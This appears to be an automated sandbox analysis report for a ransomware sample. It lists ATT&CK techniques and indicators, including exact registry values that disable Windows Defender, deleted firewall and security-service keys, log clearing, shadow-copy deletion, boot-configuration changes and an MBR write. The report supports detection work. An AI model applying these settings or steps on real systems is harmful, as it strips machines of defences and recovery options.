79526720c69b7366108d418f252a41e2569eebacdbe158621c458b800f6438e7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 25 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe

Modifies security service 2 TTPs 7 IoCs

Modify Registry

Windows Service

defense_evasion ransomware

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
1900	wevtutil.exe
5876	wevtutil.exe
4056	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 6 IoCs

resource	yara_rule
behavioral2/memory/3640-4-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2888-60-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2888-152-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2888-224-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2888-232-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2888-243-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 6 IoCs

resource	yara_rule
behavioral2/memory/3640-4-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2888-60-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2888-152-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2888-224-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2888-232-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/2888-243-0x00007FF6E9570000-0x00007FF6E9645000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4800	bcdedit.exe
5020	bcdedit.exe
4664	bcdedit.exe
1272	bcdedit.exe
1040	bcdedit.exe
1368	bcdedit.exe
3300	bcdedit.exe
4824	bcdedit.exe
3528	bcdedit.exe
2644	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
1180	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 53 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1180	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 53 IoCs

remove IFEO.

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3776	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2049790993-2338060321-149346055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\boykisser_wallpaper.jpg"	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2856	sc.exe
4496	sc.exe
508	sc.exe
3788	sc.exe
1580	sc.exe
3468	sc.exe
4768	sc.exe
4216	sc.exe
4700	sc.exe
5552	sc.exe
3900	sc.exe
1888	sc.exe
4600	sc.exe
4952	sc.exe
3756	sc.exe
3244	sc.exe
5632	sc.exe
2312	sc.exe
2532	sc.exe
3116	sc.exe
5484	sc.exe
3700	sc.exe
1268	sc.exe
3924	sc.exe
4936	sc.exe
756	sc.exe
1072	sc.exe
3124	sc.exe
2252	sc.exe
1048	sc.exe
6040	sc.exe
1556	sc.exe
5824	sc.exe
2980	sc.exe
472	sc.exe
3040	sc.exe
3524	sc.exe
352	sc.exe
5332	sc.exe
4436	sc.exe
5436	sc.exe
4756	sc.exe
3424	sc.exe
2000	sc.exe
820	sc.exe
2580	sc.exe
5840	sc.exe
2588	sc.exe
5020	sc.exe
1276	sc.exe
1088	sc.exe
2076	sc.exe
3488	sc.exe
1816	sc.exe
2660	sc.exe
1128	sc.exe
2988	sc.exe
5648	sc.exe
260	sc.exe
4920	sc.exe
5728	sc.exe
3032	sc.exe
2868	sc.exe
2856	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5236	vssadmin.exe

Modifies registry key 1 TTPs 10 IoCs

Modify Registry

pid	Process
3420	reg.exe
5904	reg.exe
5900	reg.exe
3656	reg.exe
2336	reg.exe
3428	reg.exe
6064	reg.exe
5728	reg.exe
6024	reg.exe
4216	reg.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
5152	powershell.exe
5152	powershell.exe
2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe
2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe
2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe
2888	2026-07-07_80ee5ab2786a0055e48e9915c28a764c_akira.exe
1180	powershell.exe
1180	powershell.exe
436	wmic.exe
436	wmic.exe
436	wmic.exe
436	wmic.exe
2940	wmic.exe
2940	wmic.exe
2940	wmic.exe
2940	wmic.exe
2176	wmic.exe
2176	wmic.exe
2176	wmic.exe
2176	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5152	powershell.exe
Token: SeDebugPrivilege	1180	powershell.exe
